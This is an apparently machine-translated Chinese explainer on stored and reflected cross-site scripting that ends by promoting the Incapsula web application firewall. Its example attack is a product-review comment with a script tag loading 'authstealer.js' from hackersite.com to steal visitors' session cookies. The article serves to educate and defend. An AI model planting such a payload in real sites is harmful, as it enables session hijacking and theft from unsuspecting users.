跨站点脚本(XSS)是一种常见的攻击媒介,可将恶意代码注入易受攻击的Web应用程序。XSS不同于其他网络攻击媒介(例如SQL注入),因为它不直接针对应用程序本身。相反,Web应用程序的用户是有风险的用户。
一次成功的跨站脚本攻击可能会对网上企业的声誉及其与客户的关系造成破坏性后果。
根据攻击的严重程度,用户帐户可能会受到危害,特洛伊木马程序被激活,页面内容被修改,误导用户愿意放弃他们的私人数据。最后,可以揭示会话cookie,使犯罪者能够冒充有效用户并滥用他们的私人账户。
跨站点脚本攻击可以分为两种类型:存储和反映。
存储的XSS,也称为持续XSS,是两者中更具破坏性的。当恶意脚本直接注入易受攻击的Web应用程序时会发生。
反映的XSS涉及将恶意脚本从Web应用程序反映到用户的浏览器中。该脚本嵌入到链接中,只有在单击该链接时才会激活该脚本。
要成功执行存储的XSS攻击,攻击者必须在Web应用程序中找到漏洞,然后将恶意脚本注入其服务器(例如,通过注释字段)。
最常见的目标之一是允许用户共享内容的网站,包括博客,社交网络,视频共享平台和留言板。每次查看受感染页面时,恶意脚本都会传输到受害者的浏览器。
在浏览电子商务网站时,犯罪者发现了一个漏洞,该漏洞允许HTML标签嵌入网站的评论部分。嵌入式标签成为页面的永久功能,每当页面打开时,浏览器就会用源代码的其余部分解析它们。
攻击者添加下面的评论:伟大的物品的好价钱!在这里阅读我的评论<script src =“http://hackersite.com/authstealer.js”> </ script>。
从这一点开始,每次访问页面时,评论中的HTML标签都会激活托管在另一个站点上的JavaScript文件,并且能够窃取访问者的会话cookie。
使用会话cookie,攻击者可以危害访问者的账户,使他能够轻松访问他的个人信息和信用卡数据。与此同时,访问者甚至可能永远不会滚动到评论部分,也不知道发生了攻击。
与反射式攻击不同,在单击链接后激活脚本的情况下,存储的攻击只需要受害者访问受攻击的网页。这增加了袭击的范围,无论他们的警惕程度如何,都会危及所有游客。
从犯罪者的角度来看,持续的XSS攻击相对难以执行,因为定位被贩运的网站和使用永久性脚本嵌入漏洞的网站存在困难。
Web应用程序防火墙(WAF)是防止XSS和Web应用程序攻击的最常用解决方案。
WAF采用不同的方法来抵抗攻击媒介。在XSS的情况下,大多数将依靠基于签名的过滤来识别和阻止恶意请求。
根据行业最佳实践,Imperva Incapsula的网络应用防火墙还采用签名过滤来应对跨站点脚本攻击。
Incapsula WAF作为托管服务提供,由一组安全专家定期维护,安全专家不断更新带有新发现攻击媒介签名的安全规则集。
Incapsula众包技术自动收集并整合来自其网络的攻击数据,为所有客户带来益处。
众包方法能够对零日威胁做出非常快速的响应,一旦发现单一攻击企图,就可以保护整个用户群免受任何新的威胁。
众包还可以使用IP信誉系统来阻止重犯,包括僵尸网络资源,这些资源往往会被多个犯罪者重复使用。